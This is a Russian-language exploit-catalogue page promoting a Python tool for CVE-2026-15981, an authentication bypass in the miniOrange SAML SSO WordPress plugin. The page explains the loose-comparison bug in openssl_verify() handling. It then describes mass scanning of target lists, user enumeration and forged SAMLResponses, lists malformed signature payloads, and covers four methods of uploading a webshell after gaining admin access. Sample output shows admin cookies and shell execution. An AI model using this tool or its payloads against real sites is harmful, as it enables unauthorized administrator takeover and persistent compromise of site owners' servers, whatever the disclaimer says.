Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-15981 — SAML Single Sign On <= 5.4.4 - Неаутентифицированный обход аутентификации через параметр SAMLResponse | Kitploit
Инструменты/GitHubGitHub/nxploited/cve-2026-15981
Аутентификация и авторизацияГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на Проникновение
GitHubnxploited/cve-2026-15981

CVE-2026-15981

SAML Single Sign On <= 5.4.4 - Неаутентифицированный обход аутентификации через параметр SAMLResponse

Репозиторий
41 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-15981

SAML Single Sign On <= 5.4.4 — Неаутентифицированный обход аутентификации через параметр SAMLResponse

CVE CVSS CWE CWE Python

CVE-2026-15981

SAML Single Sign On ≤ 5.4.4 — Неаутентифицированный обход аутентификации

Эксплойт Proof-of-Concept
Некорректная подпись → openssl_verify() возвращает -1 → нестрогое приведение PHP к true → wp_set_auth_cookie() как администратор


Обзор уязвимости

Описание

Плагин SAML Single Sign On – SSO Login для WordPress уязвим к обходу аутентификации во всех версиях до 5.4.4 включительно. Причина — функция mo_saml_validate_signature() выполняет нестрогую логическую проверку необработанного трёхзначного целого числа, возвращаемого PHP-функцией openssl_verify(), из-за чего ошибочное возвращаемое значение -1 оценивается как истинное и, следовательно, считается успешной проверкой подписи.

Это позволяет неаутентифицированным атакующим войти под учётной записью любого существующего пользователя WordPress, включая администраторов, путём отправки специально сформированного SAMLResponse, содержащего NameID под контролем атакующего и намеренно некорректное значение подписи, которое вызывает ошибку обработки OpenSSL, — полностью обходя проверку и приводя к вызову wp_set_auth_cookie() для целевой учётной записи.

Первопричина

root@kitploit:~
Attacker sends crafted SAMLResponse
         │
         ▼
mo_saml_validate_signature()
         │
         ▼
openssl_verify($data, $malformed_sig, $key)
         │
         ├─ Returns  1  → valid signature      ✓
         ├─ Returns  0  → invalid signature     ✗
         └─ Returns -1  → OpenSSL internal error
                │
                ▼
     PHP loose comparison:  if ($result)
                │
                ├─ (int) 1   → true   ✓
                ├─ (int) 0   → false  ✓
                └─ (int) -1  → true   ← BUG: error treated as success
                       │
                       ▼
             wp_set_auth_cookie() called
                       │
                       ▼
             Attacker is now Administrator

Исправление тривиально — if ($result === 1) вместо if ($result), — но последствия уязвимости — полный обход аутентификации.


Возможности

  • Массовое сканирование множества целей — параллельная обработка списков целей
  • Полное определение WordPress — подтверждает WordPress перед продолжением
  • Обнаружение плагина и проверка версии — определяет miniOrange SAML SSO и проверяет версию ≤ 5.4.4
  • Обнаружение метаданных SP — извлекает Entity ID и ACS URL из ?option=mosaml_metadata
  • Комплексное перечисление пользователей:
    • WP REST API (/wp-json/wp/v2/users)
    • REST-запросы по ID (1–10)
    • Редиректы архива автора (/?author=N)
    • Сопоставление шаблонов в HTML-коде страниц
    • Запасной вариант на основе домена + типовые имена администраторов
  • Обнаружение издателя IdP — отслеживает редиректы ?option=saml_user_login и извлекает базовые URL IdP
  • Механизм подделки SAMLResponse:
    • Корректная канонизация Exclusive C14N с помощью lxml
    • Корректное вычисление Digest (SHA-1/SHA-256/SHA-384/SHA-512)
    • Внедрение элемента Signature после </Issuer> согласно спецификации SAML
    • 12+ некорректных вариантов подписи, разработанных для вызова openssl_verify() = -1
    • Перебирает пользователей × издателей × алгоритмы × подписи × флаги аудитории × SP Entity ID
  • Проверка сессии — проверяет cookie wordpress_logged_in_* после каждой попытки

Требования

root@kitploit:~
Python >= 3.8
root@kitploit:~
pip install requests lxml

lxml обязателен для корректной канонизации Exclusive C14N утверждения SAML.


Использование

root@kitploit:~
python CVE-2026-15981.py

Программа запросит следующие данные:

ЗапросОписаниеПо умолчанию
Файл с целямиПуть к текстовому файлу с одной целью в строкеlist.txt
ПотокиКоличество параллельных потоков (1–100)5

Формат файла с целями

root@kitploit:~
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress

Один URL в строке. Если схема не указана, по умолчанию используется HTTP.


Вывод

Терминал

root@kitploit:~
  ███████╗███╗   ███╗███████╗
  ██╔════╝████╗ ████║██╔════╝
  ███████╗██╔████╔██║███████╗
  ╚════██║██║╚██╔╝██║╚════██║
  ███████║██║ ╚═╝ ██║███████║
  ╚══════╝╚═╝     ╚═╝╚══════╝
   ╔══════════════════════════════════════════════════════════╗
   ║  miniOrange SAML SSO <= 5.4.4                           ║
   ║  openssl_verify() -1 Bypass -> Admin Session            ║
   ╚══════════════════════════════════════════════════════════╝
  By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
  T.m @Kxploit

Каждая цель проходит 7 помеченных этапов:

root@kitploit:~
  ============================================================
    target.com
  ============================================================
  [1] WordPress
      confirmed
  [2] SAML plugin
      version: 5.4.4
      miniOrange SAML detected
  [3] SP metadata
      metadata entityID: https://target.com/...
      metadata ACS: https://target.com/
  [4] Users
      REST: admin (id=1)
      REST: editor (id=2)
      author/3: johndoe
      4 found: ['admin', 'editor', 'johndoe', 'target']
  [5] Issuers
      SSO redirect found
      3 candidates
  [6] Exploit
      COOKIE! #14 user=admin 0xFF*256/rsa-sha256
        wordpress_logged_in_abc123=admin%7C1753...
        wp-admin accessible
          user=admin  [email protected]
          users.php -> Admin
  [7] Shell upload
      M1: plugin uploaded
      SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
        -> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...

  +==========================================================+
  |  ADMIN SESSION CONFIRMED                                 |
  +==========================================================+
  |  Target : https://target.com
  |  User   : admin
  |  Issuer : https://idp.example.com/simplesaml/...
  |  Method : 0xFF*256/rsa-sha256
  |  Cookie : wordpress_logged_in_abc123=admin%7C1753...
  |  Shell  : https://target.com/wp-content/plugins/nxproof/Nx.php
  +==========================================================+

Файлы результатов

ФайлСодержимое
sms.txtОдна строка на каждую подтверждённую сессию администратора — метка времени, цель, пользователь, cookie, URL шелла, издатель, метод подписи
sms_debug.jsonПолный диагностический JSON по каждой цели — включая количество попыток и классификацию сбоев

Формат строки результата

root@kitploit:~
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256

Сводка

root@kitploit:~
  ============================================================
    DONE - 142.3s
  ============================================================
    ADMIN=3  miss=47  skip=100
    results -> sms.txt  debug -> sms_debug.json
  ============================================================

Схема эксплуатации

root@kitploit:~
Target
  │
  ├─ [1] WordPress Detection
  │       └─ wp-login.php / wp-json / jQuery fingerprint
  │
  ├─ [2] SAML Plugin Detection
  │       ├─ readme.txt version check (≤ 5.4.4)
  │       └─ SAML signature detection in HTML
  │
  ├─ [3] SP Metadata Discovery
  │       └─ ?option=mosaml_metadata → entityID + ACS URL
  │
  ├─ [4] User Enumeration
  │       ├─ REST API /wp/v2/users (bulk + per-ID)
  │       ├─ Author archive redirect (/?author=N)
  │       ├─ HTML body pattern matching
  │       └─ Domain fallback + common admin names
  │
  ├─ [5] IdP Issuer Discovery
  │       ├─ ?option=saml_user_login redirect → IdP URL
  │       └─ wp-login.php SAML link extraction
  │
  ├─ [6] SAMLResponse Forgery & Delivery
  │       │
  │       │   For each (user × issuer × algorithm × signature × audience × SP ID):
  │       │
  │       ├─ Build SAML Assertion with attacker-controlled NameID
  │       ├─ Canonicalize via Exclusive C14N (lxml)
  │       ├─ Compute correct DigestValue for the Assertion
  │       ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
  │       ├─ Wrap in <samlp:Response>, Base64 encode
  │       ├─ POST SAMLResponse to ACS URL
  │       ├─ Check for wordpress_logged_in_* cookie
  │       ├─ If cookie found → verify admin role via wp-admin
  │       └─ Classify failure via diagnostic engine
  │
  └─ [7] Post-Exploitation (on admin session)
          ├─ M1: Plugin ZIP upload + activation
          ├─ M2: REST API plugin upload
          ├─ M3: Theme/Plugin editor file write
          ├─ M4: Media async upload
          └─ Shell execution verification (Nx-zD signature)

Некорректные варианты подписи

Эксплойт содержит 12+ вариантов подписей, специально созданных для вызова openssl_verify() = -1:

Каждый вариант комбинируется с URI алгоритмов SHA-1 и SHA-256 и тестируется с ограничением Audience и без него, для нескольких SP Entity ID, — что максимизирует шанс попадания на путь возврата -1 в любой версии OpenSSL.


Отказ от ответственности

Данный инструмент предоставляется строго для авторизованного тестирования безопасности и образовательных исследовательских целей. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Несанкционированный доступ к компьютерным системам является уголовным преступлением. Автор не несёт ответственности за неправомерное использование, ущерб или любые юридические последствия, возникающие в результате использования этого программного обеспечения. Вы несёте полную ответственность за соблюдение всех применимых законов и нормативных актов вашей юрисдикции.


Автор: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit

Скачать инструмент
ПолеЗначение
CVE IDCVE-2026-15981
Затронутый плагинminiOrange SAML 2.0 Single Sign On – SSO Login (WordPress)
Затронутые версииВсе версии до 5.4.4 включительно
ТипНеаутентифицированный обход аутентификации
CWECWE-287: Некорректная аутентификация / CWE-305: Обход аутентификации из-за первичной слабости
CVSS 3.19.8 CRITICAL — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
АутентификацияНе требуется
  • Подтверждение роли администратора — проверяет доступ к /wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php
  • Извлечение профиля — считывает имя пользователя и email со страницы /wp-admin/profile.php
  • 4 метода загрузки шелла при получении сессии администратора:
    • M1 — загрузка ZIP-архива плагина через plugin-install.php
    • M2 — загрузка плагина через REST API /wp-json/wp/v2/plugins
    • M3 — запись файла через редактор тем/плагинов
    • M4 — асинхронная загрузка медиафайлов
  • Проверка выполнения шелла — подтверждает сигнатуру Nx-zD в теле ответа
  • Диагностический механизм — классифицирует причины сбоев (DIGEST_FAIL, ISSUER, AUDIENCE, TIME и т. д.)
  • Отладочный JSON-вывод — полный диагностический журнал по каждой цели для анализа
  • Полезная нагрузкаОписание
    0xFF * 256256 байт 0xFF — недопустимое заполнение PKCS#1
    0xFF * 384384 байта для ключей RSA-3072
    0xFF * 512512 байт для ключей RSA-4096
    0xFF * 128Более короткий буфер для ключей меньшего размера
    0xFF * 64Минимальное недопустимое заполнение
    0x00 0x01 0xFF*254Похоже на PKCS#1 v1.5, но с неверной структурой
    0x00 0x01 0xFF*126Более короткая структура, подобная PKCS#1
    null_2BДва байта с нулевым значением
    rand_3B / rand_7BСлучайные байты — вызывают ошибки разбора
    asn1_badНекорректная последовательность ASN.1 DER
    ff_1BОдин байт 0xFF